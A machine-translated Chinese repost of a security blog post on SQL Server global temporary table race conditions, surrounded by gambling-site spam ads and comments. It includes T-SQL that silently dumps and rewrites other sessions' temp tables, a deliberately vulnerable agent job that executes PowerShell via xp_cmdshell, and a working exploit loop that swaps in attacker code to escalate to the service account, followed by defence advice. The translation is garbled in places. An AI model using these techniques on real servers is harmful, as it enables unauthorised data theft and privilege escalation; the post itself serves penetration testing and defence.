在 *** 和应用程序渗透测试时代,SQL Server 全局暂且表通常不是关注的焦点。 然而,它们被开发职员周期性地不平安地用来存储敏感数据和代码块,这些数据和代码块可以被非特权用户接见。 在本博客中,我将先容全局暂且表是若何事情的,并分享一些我们在现实应用程序中用于识别和举行破绽行使的手艺。

若是你不想通读所有的器械,你可以选择跳过:

· 实验室设置

   · 什么是全局暂且表?

   · 暂且表是若何事情的?

          · 演习1: 表变量

          · 演习2: 局部暂且表

          · 演习3: 全局暂且表

   · 若何找到易受攻击的全局暂且表?

          · 源代码审计

          · 监控全局暂且表

    · 案例研究: 通过 TSQL 署理作业提升权限

    · 关于这个我能做些什么?

实验室设置

1. 安装 SQL Server。 我们将要先容的大多数场景都可以使用 SQL Server Express 执行,然则若是你想要追随案例研究,你需要使用一个支持署理作业的商业版本。

2. 以系统管理员身份登录到 SQL Server

3. 建立一个最小特权登录

-- Create server login
CREATE LOGIN [basicuser] WITH PASSWORD = 'Password123!';

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第1张

什么是全局暂且表?

在 SQL Server 中暂且存储数据的方式有许多,但暂且表似乎是最盛行的方式之一。 凭据我所看到的,开发职员通常使用三种类型的暂且表,包罗表变量、局部暂且表和全局暂且表。 每种方式都有其优点、瑕玷和特殊的用途,但全局暂且表往往会造成更大的风险,由于它们可以被任何 SQL Server 用户读取和修改。 因此,使用全局暂且表通常会导致竞争条件破绽,更低特权用户可以行使这些条件获得对数据和特权的未授权接见。

暂且表是若何事情的?

在本节中,我提供了一个入门知识,先容了若何建立三种类型的暂且表、它们存储在那里以及谁可以接见它们。 为了更先学习,让我们使用 sysadmin 登录进入 SQL Server,并检查三种类型的暂且表。

所有暂且表都存储在 tempdb 数据库中,可以使用下面的查询列出。

SELECT *
FROM tempdb.sys.objects
WHERE name like '#%';

SQL Server 中的所有用户都可以执行上面的查询,然则用户对所显示的表的接见权很大程度上取决于表的类型和局限。

下面是每种类型的暂且表的作用域摘要。

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第2张

有了这个基础,让我们来学习一些 TSQL 演习,以辅助更好地明白每个局限界限。

演习一: 表变量

表变量仅限于当前用户流动会话中的一个查询批处理。 它们不能被其他查询批处理或其他流动用户会话接见。 因此,数据不太可能泄露给非特权用户。

下面是在统一批处理中引用表变量的示例。

-- Create table variable
If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable')
DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
-- Insert records into table variable
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
-- Query table variable in same batch 
SELECT * 
FROM @table_variable
GO

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第3张

从上面的图片可以看出,我们能够在统一批查询中查询表变量。 然则,当我们使用“ GO”将表建立和表数据选择分成两批时,我们可以看到表变量在其原始批处理作业之外不能再被接见。 下面是一个例子。

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第4张

希望这有助于说明表变量的局限限制,但你可能仍然想知道它们是若何存储的。 建立表变量时,它使用以“ # ”开头的名称并随机天生字符存储在 tempdb 中。 下面的查询可用于筛选所使用的表变量。

SELECT * 
FROM tempdb.sys.objects  
WHERE name not like '%[_]%' 
AND (select len(name) - len(replace(name,'#',''))) = 1

演习二: 局部暂且表

与表变量一样,局部暂且表也仅限于当前用户的流动会话,但不限于单个批处理。 由于这个缘故原由,它们比表变量提供了更多的灵活性,然则仍然不会增添意外数据露出的风险,由于其他活跃用户会话不能接见它们。 下面是一个基本示例,演示若何在统一会话中跨差别的查询批次建立和接见局部暂且表。

-- Create local temporary table
IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL)
CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
-- Insert records local temporary table
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
GO
-- Query local temporary table
SELECT * 
FROM #LocalTempTbl
GO

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第5张

从上面的图像中可以看到,仍然可以跨多个查询批次接见表数据。 与表变量类似,所有定制的局部暂且表都需要以“ # ”开头。 除了你可以给他们起任何你想起的名字。 它们也存储在 tempdb 数据库中,但 SQL Server 会在表名的末尾附加一些附加信息,以便对会话的接见受到限制。 让我们看看新表“ #LocalTempTbl”在 tempdb 中的样子,下面是查询语句。

SELECT * 
FROM tempdb.sys.objects 
WHERE name like '%[_]%' 
AND (select len(name) - len(replace(name,'#',''))) = 1

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第6张

上面我们可以看到我们建立的名为“ #LocalTempTbl”的表,其中附加了一些附加的会话信息。 所有用户都可以看到该暂且表名称,但只有建立该暂且表的会话才气接见其内容。 看起来,会话 id 随着每个会话被添加到服务器的竣事增量中,你现实上可以使用全名从会话中查询该表。 下面是一个例子。

SELECT * 
FROM tempdb..[ #LocalTempTbl_______________________________________________________________________________________________________000000000007]

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第7张

然则,若是你试图从其他用户的会话接见该暂且表,则会获得如下错误。

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第8张

无论若何,当你完成了局部暂且表的所有操作后,可以通过终止会话或使用下面的下令显式执行删除它的操作。

DROP
 TABLE 
#LocalTempTbl

演习三: 全局暂且表

准备好升级了吗? 与局部暂且表类似,你可以通过单独的批处理查询建立和接见全局暂且表。 更大的区别是所有流动用户会话都可以查看和修改全局暂且表。 让我们看看下面的一个基本例子。

-- Create global temporary table
IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL)
CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
-- Insert records global temporary table
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
GO
-- Query global temporary table
SELECT * 
FROM ##GlobalTempTbl
GO

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第9张

上面我们可以看到,我们能够跨差别的查询批次查询全局暂且表。 所有定制的全局暂且表都需要以“##”开头。 除了你可以给他们起任何你想起的名字。 它们也存储在 tempdb 数据库中。 让我们看看新表“##GlobalTempTbl”在 tempdb 中的样子,下面是查询的语句。

SELECT * 
FROM tempdb.sys.objects 
WHERE (select len(name) - len(replace(name,'#',''))) > 1

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第10张

你可以看到,SQL Server 不会像对局部暂且表那样将任何与会话相关的数据附加到表名称中,由于它的目的是供所有会话使用。 让我们使用我们建立的“ basicuser”登录进入另一个会话,以显示这是可能的。

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第11张

如你所见,若是全局暂且表包罗敏感数据,那么它现在就向所有 SQL Server 用户公然。

若何找到易受攻击的全局暂且表?

当你知道表名称时,很容易锁定全局暂且表,但大多数平安审计职员和攻击者不知道易受攻击的全局暂且表在那里。 因此,在本节中,我将先容几种盲目查找易受攻击的全局暂且表的方式。

· 若是你是特权用户,请审计源代码。

· 若是你是非特权用户,则监视全局暂且表。

源代码审计

若是你作为系统管理员或具有其他特权角色的用户登录到 SQL Server,则可以直接查询每个数据库的署理作业、存储历程、函数和触发器的 TSQL 源代码。 你应该能够过滤字符串“ ## ”的查询效果,以识别 TSQL 中全局暂且表的使用情况。 有了筛选后的列表,你应该能够查看相关的 TSQL 源代码,并确定在哪些条件下全局暂且表容易受到攻击。

下面是一些到 TSQL 查询模板的链接,可以对你有所辅助:

· 署理作业

· 存储历程

· DDL 触发器

· DML 和登录触发器

,

欧博开户网址_ALLbet6.com

欢迎进入欧博开户网址(Allbet Gaming):www.aLLbetgame.us,欧博网址开放会员注册、 *** 开户、电脑客户端下载、苹果安卓下载等业务。

,

值得注重的是, PowerUpSQL 还支持可用于查询该信息的函数。 这些功效包罗:

· Get-SQLAgentJob

· Get-SQLStoredProcedure

· Get-SQLTriggerDdl

· Get-SQLTriggerDml

若是我们总是能够查看源代码就好了,然则事实是大多数攻击者不会一更先就拥有 sysadmin 特权。 以是,当你发现自己处于那种状态时,是时刻改变你的方式了。

监控全局暂且表

现在,让我们从最小特权的角度来讨论若何盲目地识别全局暂且表。 在前面的部门中,我们展示了若何列出暂且表名并查询它们的内容。 然而,我们对这些列并不是很领会。 以是在下面我扩展了原来的查询,以包罗这些信息。

-- List global temp tables, columns, and column types
SELECT t1.name as 'Table_Name',
       t2.name as 'Column_Name',
       t3.name as 'Column_Type',
       t1.create_date,
       t1.modify_date,
       t1.parent_object_id   
FROM tempdb.sys.objects AS t1
JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

若是你没有删除“ ## GlobalTempTbl” ,那么在执行查询时应该会看到类似于下面的效果。

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第12张

运行上面的查询可以深入领会那时正在使用的全局暂且表,然则它不能辅助我们监视它们随着时间的推移的使用情况。 请记着,暂且表通常只在短时间内使用,因此你不希望错过它们。

下面的查询是第一个查询的变体,每一秒都市提供一个全局暂且表列表。 可以通过修改“ WAITFOR”语句来更改延迟,但要小心,不要让服务器负载过重。 若是你不确定正在做什么,那么这种手艺应该只在非生产环境中举行实践。

-- Loop
While 1=1
BEGIN
    SELECT t1.name as 'Table_Name',
           t2.name as 'Column_Name',
           t3.name as 'Column_Type',
           t1.create_date,
           t1.modify_date,
           t1.parent_object_id   
    FROM tempdb.sys.objects AS t1
    JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
    JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
    WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1
    -- Set delay
    WaitFor Delay '00:00:01'
END

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第13张

正如你所看到的,查询将提供一个表名和列名的列表,我们可以在未来的攻击中使用它们,然则我们也可能希望监视全局暂且表的内容,以领会我们的选项是什么。 下面是一个示例,但请记着,在可能的情况下使用“ WAITFOR”来限制监视。

-- Monitor contents of all Global Temp Tables 
-- Loop
WHILE 1=1
BEGIN
    -- Add delay if required
    WAITFOR DELAY '0:0:1'
    
    -- Setup variables
    DECLARE @mytempname varchar(max)
    DECLARE @p *** yscript varchar(max)
    -- Iterate through all global temp tables 
    DECLARE MY_CURSOR CURSOR 
        FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
    OPEN MY_CURSOR
    FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    WHILE @@FETCH_STATUS = 0
    BEGIN 
        -- Print table name
        PRINT @mytempname 
        -- Select table contents
        DECLARE @myname varchar(max)
        SET @myname = 'SELECT * FROM [' + @mytempname + ']'
        EXEC(@myname)
        -- Next record
        FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    END
    CLOSE MY_CURSOR
    DEALLOCATE MY_CURSOR
END

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第14张

如你所见,上面的查询将监视全局暂且表并显示其内容。 这种手艺是一种很好的方式,可以盲目地从全局暂且表中转储潜在的敏感信息,纵然这些信息只存在一会儿。 然则,有时你也可能希望修改全局暂且表的内容。 由于我们已经知道表和列的名称。 因此,监视正在建立的全局暂且表并更新它们的内容是相当简朴明了的。 下面是一个例子。

-- Loop forever
WHILE 1=1 
BEGIN
    -- Select table contents
    SELECT * FROM ##GlobalTempTbl
    -- Update global temp table contents
    DECLARE @mycommand varchar(max)
    SET @mycommand = 'UPDATE t1 SET t1.SpyName = ''Inspector Gadget'' FROM ##GlobalTempTbl  t1'
    EXEC(@mycommand)
END

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第15张

正如你所看到的,表已经更新。 然则,你可能仍然在想,“为什么我要更改暂且表的内容呢? ” . 为了辅助说明这种手艺的价值,我在下一节中整理了一个简短的案例研究。

案例研究: 攻击一个易受攻击的署理作业

现在来点真正的兴趣。 下面我们将先容易受攻击的署理作业的 TSQL 代码,并突出显示全局暂且表的平安使用场景。 然后我们将使用前面讨论过的手艺来行使这个缺陷。 要启动程序,请下载此 TSQL 剧本并将其作为系统管理员运行,以便在 SQL Server 实例上设置易受攻击的署理作业。

易受攻击的署理事情周游

署理将每分钟执行一次 TSQL 作业,并执行以下历程:

1. 该作业为 PowerShell 剧本天生一个输出文件路径,稍后将执行该剧本

-- Set filename for PowerShell script
Set @PsFileName = ''MyPowerShellScript.ps1''

-- Set target directory for PowerShell script to be written to
SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''ErrorLogFileName'')) as VARCHAR(MAX)),''ERRORLOG'','''')

-- Create full output path for creating the PowerShell script
SELECT @PsFilePath = @TargetDirectory + @PsFileName

2. 该作业建立一个名为“@MyPowerShellCode”的字符串变量来存储PowerShell剧本。PowerShell代码简朴地建立了一个文件“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput”。该文件包罗字符串“hello world”。

-- Define the PowerShell code
SET @MyPowerShellCode = ''Write-Output "hello world" | Out-File "'' + @TargetDirectory + ''intendedoutput.txt"''

专业提醒: SQL Server 和署理服务帐户始终具有对 SQL Server 安装的日志文件夹的写接见权。 有时在攻击行动中,它会派上用场。 你可以找到日志文件夹,查询如下:

SELECT SERVERPROPERTY('InstanceDefaultLogPath')

3. 然后将包罗PowerShell代码的“@MyPowerShellCode”变量插入到随机命名的全局暂且表中。这就是开发职员更先失足的地方,由于建立该表之后,任何用户都可以查看和修改该表。

-- Create a global temp table with a unique name using dynamic SQL
SELECT @MyGlobalTempTable = ''##temp'' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000))

-- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table
SELECT @Command = ''
      CREATE TABLE ['' + @MyGlobalTempTable + ''](MyID int identity(1,1), PsCode varchar(MAX))
      INSERT INTO ['' + @MyGlobalTempTable + ''](PsCode)
      SELECT @MyPowerShellCode''
      
-- Execute that command
EXECUTE sp_ExecuteSQL @command, N''@MyPowerShellCode varchar(MAX)'', @MyPowerShellCode

4. 然后使用 xp_cmdshell在操作系统上执行 bcp 。bcp是一个附带SQL Server的备份实用程序。在本例中,它用于作为SQL Server服务帐户连接到SQL Server实例,从全局暂且表中选择PowerShell代码,并将PowerShell代码写入步骤1中界说的文件路径。

-- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1
SELECT @Command = ''bcp "SELECT PsCode from ['' + @MyGlobalTempTable + '']'' + ''" queryout "''+ @PsFilePath + ''" -c -T -S '' + @@SERVERNAME-- Write the file
EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT

5. 接下来,再次使用 xpcmdshell 执行刚刚写入磁盘的 PowerShell 剧本

-- Run the PowerShell script
DECLARE @runcmdps nvarchar(4000)
SET @runcmdps = ''Powershell -C "$x = gc ''''''+ @PsFilePath + '''''';iex($X)"''
EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT

6. 最后,使用 xpcmdshell 删除 PowerShell 剧本

-- Delete the PowerShell script
DECLARE @runcmddel nvarchar(4000)
SET @runcmddel= ''DEL /Q "'' + @PsFilePath +''"''
EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT

易受攻击的署理作业攻击

既然我们的易受攻击的署理作业已经在后台运行,那么让我们使用最小特权用户“ basicuser”登录来举行攻击。 下面是这次攻击的摘要。

1. 首先,让我们看看是否可以使用前面的监视查询发现全局暂且表的名称。 这个监视剧本被节省。 我不建议在生产环境中去掉节省,由于这会消耗大量的 CPU,而且会引发警报,由于 DBA 倾向于亲切监视其生产服务器的性能。 与执行 xp_cmdshell 时相比,你更有可能获得一个导致服务器行使率到达80% 的捕异常。

-- Loop
While 1=1
BEGIN
    SELECT t1.name as 'Table_Name',
           t2.name as 'Column_Name',
           t3.name as 'Column_Type',
           t1.create_date,
           t1.modify_date,
           t1.parent_object_id   
    FROM tempdb.sys.objects AS t1
    JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
    JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
    WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1
    -- Set delay
    WAITFOR DELAY '00:00:01'
END

该作业的运行时间为一分钟,因此你可能需要守候59秒(或者你可以手动让作业在实验室中执行),然则最终你应该会看到类似下面的输出。

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第16张

2. 在这个示例中,表名“ ##temp800845”看起来是随机的,因此我们再次实验监视并获得表名“ ##103919”。 它有一个差别的名称,然则它有相同的列。 这些信息足以让我们朝着准确的偏向前进。

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第17张

3. 接下来,我们希望在删除全局暂且表之前查看它的内容。 然则,我们不知道表的名称是什么。 为领会决这个问题,下面的查询将显示每个全局暂且表的内容

-- Monitor contents of all Global Temp Tables
-- Loop

While 1=1
BEGIN
  -- Add delay if required
  WAITFOR DELAY '00:00:01'
 
  -- Setup variables
  DECLARE @mytempname varchar(max)
  DECLARE @p *** yscript varchar(max)
  
  -- Iterate through all global temp tables
  DECLARE MY_CURSOR CURSOR
      FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
  OPEN MY_CURSOR
  FETCH NEXT FROM MY_CURSOR INTO @mytempname
  WHILE @@FETCH_STATUS = 0
  BEGIN
  
      -- Print table name
      PRINT @mytempname
      
      -- Select table contents
      DECLARE @myname varchar(max)
      SET @myname = 'SELECT * FROM [' + @mytempname + ']'
      EXEC(@myname)
      
      -- Next record
      FETCH NEXT FROM MY_CURSOR INTO @mytempname
  END
  CLOSE MY_CURSOR
  DEALLOCATE MY_CURSOR
END

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第18张

从这里我们可以看到,全局暂且表现实上包罗 PowerShell 代码。 由此,我们可以预测它是在某个时间点执行的。 因此,下一步是在 PowerShell 代码执行之前修改它。

4. 同样,我们不知道表名是什么,然则我们知道列名。因此,我们可以修改步骤3中的查询,并更新全局暂且表的内容,而不是简朴地选择它的内容。在本例中,我们将更改“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput.txt”代码中界说的输出路径为“C:\程序文件\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt”。然则,你可以使用你最喜欢的PowerShell shellcode或任何你所喜欢的随便下令来替换这些代码。

-- Create variables
DECLARE @PsFileName NVARCHAR(4000)
DECLARE @TargetDirectory NVARCHAR(4000)
DECLARE @PsFilePath NVARCHAR(4000)

-- Set filename for PowerShell script
Set @PsFileName = 'finishline.txt'

-- Set target directory for PowerShell script to be written to
SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY('ErrorLogFileName')) as VARCHAR(MAX)),'ERRORLOG','')

-- Create full output path for creating the PowerShell script
SELECT @PsFilePath = @TargetDirectory + @PsFileName

-- Loop forever
WHILE 1=1
BEGIN
  -- Set delay
  WAITFOR DELAY '0:0:1'
  
  -- Setup variables
  DECLARE @mytempname varchar(max)
  
  -- Iterate through all global temp tables
  DECLARE MY_CURSOR CURSOR
      FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
  OPEN MY_CURSOR
  FETCH NEXT FROM MY_CURSOR INTO @mytempname
  WHILE @@FETCH_STATUS = 0
  BEGIN    
      -- Print table name
      PRINT @mytempname
 
      -- Update contents of known column with ps script in an unknown temp table
      DECLARE @mycommand varchar(max)
      SET @mycommand = 'UPDATE t1 SET t1.PSCode = ''Write-Output "hello world" | Out-File "' + @PsFilePath + '"'' FROM ' + @mytempname + ' t1'
      EXEC(@mycommand)
      
      -- Select table contents
      DECLARE @mycommand2 varchar(max)
      SET @mycommand2 = 'SELECT * FROM [' + @mytempname + ']'
      EXEC(@mycommand2)
 
      -- Next record
      FETCH NEXT FROM MY_CURSOR INTO @mytempname
  END
  CLOSE MY_CURSOR
  DEALLOCATE MY_CURSOR
END

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第19张

从上面的截图中可以看到,我们可以使用自界说 PowerShell 代码更新暂且表内容。 为了确认我们乐成行使了竞争条件缺陷,我们可以验证“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt”文件是否已经建立。 注重: 若是使用差别版本的 SQL Server,则路径可能差别。

usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使 数据库安全 第20张

总之,我们行使 TSQL 署理作业中全局暂且表的不平安使用,将权限从更低特权 SQL Server 登录升级到运行 SQL Server 署理服务的 Windows 操作系统帐户。

我能做些什么?

下面是一些基于我们这个小小的研究的基本建议,然则若是你有任何想法,请联系我们。 我很想听听其他人是怎么解决这个问题的。

预防


1.局暂且表中的代码块 

2.不要在全局暂且表中存储敏感数据或代码块

3.若是需要跨多个会话接见数据,可以思量使用内存优化的表。 凭据我的实验室测试,它们可以提供类似的性能优势,而不必向非特权用户公然数据。 要领会更多信息看看微软的这篇文章.

检测
现在,我还没有一个很好的方式来监视潜在的恶意全局暂且表接见。 然则,若是攻击者过于积极地监视全局暂且表,那么 CPU 应该会泛起峰值,你可能会在价值高昂的查询列表中看到它们的流动。 从那里,你应该能够通过session_id 和一个类似于下面的查询检测这种攻击行为:

SELECT 
    status,
    session_id,
    login_time,
    last_request_start_time,
    security_id,
    login_name,
    original_login_name
FROM [sys].[dm_exec_sessions]

总结

总之,使用全局暂且表会发生竞争条件缺陷,最少权限的用户可以行使这些条件读取和修改关联的数据。 凭据数据的使用方式,它可能会发生一些异常重大的平安隐患。 希望这些信息对那些试图让事情变得更好的建设者和破坏者是有用的。 不管怎样,享受兴趣,负担责任。

参考资料

https://docs.microsoft.com/en-us/sql/t-sql/statements/create-table-transact-sql

https://docs.microsoft.com/en-us/sql/relational-databases/in-memory-oltp/faster-temp-table-and-table-variable-by-using-memory-optimization

https://docs.microsoft.com/en-us/sql/t-sql/functions/serverproperty-transact-sql

https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bcpxpcmdshell.sql

https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-GlobalTempTableColumns.sql

https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-GlobalTempTableData.sql

https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-GlobalTempTable-RaceUpdateExample.sql

Allbet Gaming声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt自动充值(caibao.it):SQL Server 全局暂且表竞争条件破绽行使
发布评论

分享到:

usdt不用实名买卖(caibao.it):乒超:马龙两分助鲁能男团登顶 王楚钦荣膺MVP
3 条回复
  1. Usappledeveloperaccountsforsale
    Usappledeveloperaccountsforsale
    (2020-12-31 00:02:36) 1#

    Allbetwww.allbetgame.us欢迎进入欧博亚洲(Allbet Game),Allbet是欧博亚洲的官方网站。欧博亚洲开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。我反正情有独钟了

    1. 下载欧博真人客户端
      下载欧博真人客户端
      (2021-01-01 05:21:18)     

      日前,由安徽省淮南市文化和旅游局、淮南市公共图书馆同盟、淮南市图书馆主理的“不朽的华章 毛泽东诗词专场朗诵会”在淮南市图书馆举行。萌新求罩

  2. 卡利注册
    卡利注册
    (2021-03-02 00:20:14) 2#

    我吹爆此文!!

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。